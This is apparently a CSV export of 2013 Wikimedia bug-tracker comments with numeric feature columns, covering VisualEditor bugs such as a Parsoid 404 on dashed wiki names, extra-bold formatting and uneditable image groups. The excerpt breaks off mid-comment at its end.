https://gerrit.wikimedia.org/r/72682",,,1373340111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 72682 had a related patch set uploaded by Mattflaschen:
Add tour for VisualEditor

GERRIT_URL"
249731,Guided tours cannot distinguish between read and edit modes with VisualEditor,"Change 72677 had a related patch set uploaded by Mattflaschen:
Add support for VisualEditor.

https://gerrit.wikimedia.org/r/72677",,,1373339962,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.842105263157895,1.0,"Change 72677 had a related patch set uploaded by Mattflaschen:
Add support for VisualEditor.

GERRIT_URL"
249725,Guided tours cannot distinguish between read and edit modes with VisualEditor,"**swalling** wrote:

Note: this only happens if the user clicks ""Show help"" after editing in VE mode. Otherwise, the tour progresses normally. The easiest solution in the interim may be to ensure that we don't show the Getting Started toolbar in VE edit mode, like we do for wikitext editing.",,,1372184775,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,6.0,2.0,0.0,2.0,0.0,3.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,14.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.753846153846154,0.7230769230769231,"**swalling** wrote:

Note: this only happens if the user clicks ""Show help"" after editing in VE mode. Otherwise, the tour progresses normally. The easiest solution in the interim may be to ensure that we don't show the Getting Started toolbar in VE edit mode, like we do for wikitext editing."
52173,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**Author:** `p.selitskas`

**Description:**
Dash-to-underscore conversion is frucked up yet again?

When ""Edit"" is clicked, an API request is issued with params:
action:visualeditor
paction:parse
page:Новая_зямля
oldid:1630719
token:[screened]
format:json

Response: {""servedby"":""mw1141"",""error"":{""code"":""parsoidserver-http-bad-status"",""info"":""404""}}

VE works at be.wikipedia.org, but it doesn't work at be-x-old.wikipedia.org, bat-smg.wikipedia.org, and maybe other sites with dash in the site ID.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372164300,1372215518.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lfvhcf2i2gcieggk662j,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,1.5,1.0,3.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,8.0,0.5,1.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,1.0,5.0,5.5,0.5,2.5,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.286885245901639,0.6721311475409836,"**Author:** CODE

**Description:**
Dash-to-underscore conversion is frucked up yet again?

When ""Edit"" is clicked, an API request is issued with params:
action:visualeditor
paction:parse
page:Новая_зямля
oldid:1630719
token:[screened]
format:json

Response: {""servedby"":""mw1141"",""error"":{""code"":""parsoidserver-http-bad-status"",""info"":""404""}}

VE works at be.wikipedia.org, but it doesn't work at be-x-old.wikipedia.org, bat-smg.wikipedia.org, and maybe other sites with dash in the site ID.

--------------------------
**Version**: unspecified
**Severity**: major"
249089,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**p.selitskas** wrote:

(In reply to comment #3)
> I have fixed this in the Parsoid config.

Can you publish the link to the change in Gerrit (if it is publicly available), just for my interest?

Thanks for fixing, btw.",,,1372287816,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,6.0,14.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.183673469387755,0.7755102040816326,"**p.selitskas** wrote:

(In reply to comment #3)
QUOTE

Can you publish the link to the change in Gerrit (if it is publicly available), just for my interest?

Thanks for fixing, btw."
249086,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"(In reply to comment #2)
> (In reply to comment #1)
> > Roan - is this a config issue at our end or something else?
> > 
> > http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753
> > and
> > http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work
> > fine for me, but in VE
> > https://be-x-old.wikipedia.org/wiki/
> > Галоўная_старонка?oldid=1535753&veaction=edit
> > does indeed 404.
> 
> I think it's a config issue.
> 
> CommonSettings.php on line 1890 says:
> $wgVisualEditorParsoidPrefix = $wgDBname;
> 
> DB names are written with underscores instead of dashes. Conversion '_'->'-'
> should be performed here.
> 
Turns out we did actually have the DB names mapped correctly, but to the wrong URLs. We had stuff like:

'map_bmswiki': 'http://map_bms.wikipedia.org/w/api.php',

which is wrong, we need URLs with dashes.

I have fixed this in the Parsoid config.",,,1372215518,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,29.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,2.0,1.0,1.0,0.0,4.0,7.0,20.0,0.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.163265306122449,0.46938775510204084,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Turns out we did actually have the DB names mapped correctly, but to the wrong URLs. We had stuff like:

'map_bmswiki': 'URL

which is wrong, we need URLs with dashes.

I have fixed this in the Parsoid config."
249083,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**p.selitskas** wrote:

(In reply to comment #1)
> Roan - is this a config issue at our end or something else?
> 
> http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753
> and
> http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work
> fine for me, but in VE
> https://be-x-old.wikipedia.org/wiki/
> Галоўная_старонка?oldid=1535753&veaction=edit
> does indeed 404.

I think it's a config issue.

CommonSettings.php on line 1890 says:
$wgVisualEditorParsoidPrefix = $wgDBname;

DB names are written with underscores instead of dashes. Conversion '_'->'-' should be performed here.

This is a typical error in WMF configs. I used to run against it even in MediaWiki core.",,,1372179812,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,9.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,3.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,4.0,9.0,12.0,0.0,3.0,0.0,4.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,3.6,0.63,"**p.selitskas** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think it's a config issue.

CommonSettings.php on line 1890 says:
$wgVisualEditorParsoidPrefix = $wgDBname;

DB names are written with underscores instead of dashes. Conversion '_'->'-' should be performed here.

This is a typical error in WMF configs. I used to run against it even in MediaWiki core."
249080,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"Roan - is this a config issue at our end or something else?

http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753 and http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work fine for me, but in VE https://be-x-old.wikipedia.org/wiki/Галоўная_старонка?oldid=1535753&veaction=edit does indeed 404.",,,1372172991,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c1,2,True,,,-1,,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.125,0.9375,"Roan - is this a config issue at our end or something else?

URL and URL both work fine for me, but in VE URL does indeed 404."
52170,"VisualEditor: Attempting to de-bold a selection causes text to become ""extra-bold""","1. Edit [[mw:VisualEditor:Sfioj]] in VE
2. Make a selection such as

     These [words are] very bold
or 
     These wor[ds are ve]ry bold

3. Click the ""Bold"" button on the toolbar

The selected text goes extra-bold, in Firefox 21. 

I should mention that in my case, the font is Arial, which has an extra bold ""Arial-Black"" variant.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372162080,1372190547.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-j223oppi3t252tmumwbg,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.5,0.0,0.0,11.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,4.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,6.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.5,1.0,0.5,6.0,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,2.0,4.5,4.5,0.0,3.0,0.0,2.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,2.5,3.3282669461914747,0.6911250873515025,"1. Edit [[mw:VisualEditor:Sfioj]] in VE
2. Make a selection such as

     These [words are] very bold
or 
     These wor[ds are ve]ry bold

3. Click the ""Bold"" button on the toolbar

The selected text goes extra-bold, in Firefox 21. 

I should mention that in my case, the font is Arial, which has an extra bold ""Arial-Black"" variant.

--------------------------
**Version**: unspecified
**Severity**: normal"
248896,"VisualEditor: Attempting to de-bold a selection causes text to become ""extra-bold""",*** Bug 52189 has been marked as a duplicate of this bug. ***,,,1385398575,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j223oppi3t252tmumwbg,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52189 has been marked as a duplicate of this bug. ***
248892,"VisualEditor: Attempting to de-bold a selection causes text to become ""extra-bold""",Patched and merged: https://gerrit.wikimedia.org/r/#/c/70434/,,,1372190547,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-j223oppi3t252tmumwbg,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Patched and merged: URL
248888,"VisualEditor: Attempting to de-bold a selection causes text to become ""extra-bold""","There is a related problem with italic: try the same STR on the second line of the Sfoij page, using the ""italic"" toolbar button instead of ""bold"". But I think it is the same issue.",,,1372162241,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-j223oppi3t252tmumwbg,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,5.0,12.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,9.0,2.0,0.0,9.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4186046511627906,0.7209302325581395,"There is a related problem with italic: try the same STR on the second line of the Sfoij page, using the ""italic"" toolbar button instead of ""bold"". But I think it is the same issue."
52165,VisualEditor: Groups of images are alienated under certain circumstances,"Groups of consecutive images are alienated under certain circumstances. 

It might have something to do with the wikilinks in the image caption, however I really just have to throw you some testcases:

---
(1) Works fine:
http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/sandbox/VE2&oldid=561493135&veaction=edit

(2) Similar, but doesn't work:
http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/sandbox/VE2&oldid=561493351&veaction=edit

(3) All three groups uneditable, even the group that is identical to (1) above:
http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/sandbox/VE2&oldid=561493252&veaction=edit

(4) One group fine, the other alienated:
http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/sandbox/VE2&oldid=561493194&veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372155360,1372298506.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-cohcqit7cjc474qs3bul,task_description,resolved,True,c1,2,False,False,True,-1,,1.5,0.5,0.0,0.5,0.5,6.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,3.0,5.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,1.0,0.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,3.0,1.5,9.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,1.5,5.0,2.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,3.545674531155475,0.6858741681790683,"Groups of consecutive images are alienated under certain circumstances. 

It might have something to do with the wikilinks in the image caption, however I really just have to throw you some testcases:

---
(1) Works fine:
URL

(2) Similar, but doesn't work:
URL

(3) All three groups uneditable, even the group that is identical to (1) above:
URL

(4) One group fine, the other alienated:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
248583,VisualEditor: Groups of images are alienated under certain circumstances,See bug 51039.,,,1373422404,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See bug 51039.
248578,VisualEditor: Groups of images are alienated under certain circumstances,"(In reply to comment #3)
> (In reply to comment #1)
> > Do they work for you too?
> 
> Sorry, yes the testcases do all work now.

Yay. Marking as fixed. :-)",,,1372298506,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.8333333333333335,0.7083333333333334,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

Yay. Marking as fixed. :-)"
248569,VisualEditor: Groups of images are alienated under certain circumstances,"(In reply to comment #1)
> Do they work for you too?

Sorry, yes the testcases do all work now.",,,1372225473,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,2,False,,,-1,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9523809523809526,1.0,"(In reply to comment #1)
QUOTE

Sorry, yes the testcases do all work now."
248564,VisualEditor: Groups of images are alienated under certain circumstances,Could you check [[History of Delta Air Lines#1960s_and_1970s]]?,,,1372225448,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,15.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.3076923076923075,0.8461538461538461,Could you check [[History of Delta Air Lines#1960s_and_1970s]]?
248557,VisualEditor: Groups of images are alienated under certain circumstances,"(In reply to comment #0)
> Groups of consecutive images are alienated under certain circumstances. 
> 
> It might have something to do with the wikilinks in the image caption,
> however
> I really just have to throw you some testcases:
> 
> ---
> (1) Works fine:
> http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/
> sandbox/VE2&oldid=561493135&veaction=edit
> 
> (2) Similar, but doesn't work:
> http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/
> sandbox/VE2&oldid=561493351&veaction=edit
> 
> (3) All three groups uneditable, even the group that is identical to (1)
> above:
> http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/
> sandbox/VE2&oldid=561493252&veaction=edit
> 
> (4) One group fine, the other alienated:
> http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/
> sandbox/VE2&oldid=561493194&veaction=edit

These now all work for me - we've updated Parsoid (and purged the cached versions to avoid corruption from old things), which is (I think) the cause of these issues. Do they work for you too?",,,1372221560,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,2,True,,,-1,,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,28.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,5.0,7.0,22.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.191919191919192,0.47474747474747475,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

These now all work for me - we've updated Parsoid (and purged the cached versions to avoid corruption from old things), which is (I think) the cause of these issues. Do they work for you too?"
52161,VisualEditor: VE won't let user save after editing a reference,"http://it.wikipedia.org/wiki/Utente:Syrio/Bozzoli, we tried changing the author's name in ref.6 to ""abbé Paul Guérin"". VE allows editing it, but after clicking twice on Apply Changes, the former name is still displayed and the page can not be saved as the button does not work. (Also, it does not allow us to re-try immediately or to edit other references, you need to reload the page for that). So I did a dummy edit to plain text, and I was allowed to save then, but the result http://it.wikipedia.org/w/index.php?title=Utente%3ASyrio%2FBozzoli&diff=59659908&oldid=59651683 has nothing to do with poor abbé Guérin.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372150800,1373417844.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-jgkllstpxv33sn72mt5f,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,2.0,1.5,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,5.0,9.0,1.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.0,1.0,0.0,1.0,0.0,0.0,0.5,2.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,9.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.5,9.0,5.5,0.0,1.0,0.0,4.5,0.0,0.0,1.0,0.5,1.5,0.0,0.0,0.0,3.5625,0.75,"URL we tried changing the author's name in ref.6 to ""abbé Paul Guérin"". VE allows editing it, but after clicking twice on Apply Changes, the former name is still displayed and the page can not be saved as the button does not work. (Also, it does not allow us to re-try immediately or to edit other references, you need to reload the page for that). So I did a dummy edit to plain text, and I was allowed to save then, but the result URL has nothing to do with poor abbé Guérin.

--------------------------
**Version**: unspecified
**Severity**: major"
248352,VisualEditor: VE won't let user save after editing a reference,"(In reply to comment #4)
> You are right, it works now. Can this be due to people adding TemplateData to
> that template?

It's possible that TemplateData would mean that it was difficult to edit, yes; sorry. :-(

> Since we're here, I attached the screenshot of what happens when
> you try and edit it with Vector. You need to reach and click the light blue
> bar in order to change something in that line. It works, though.

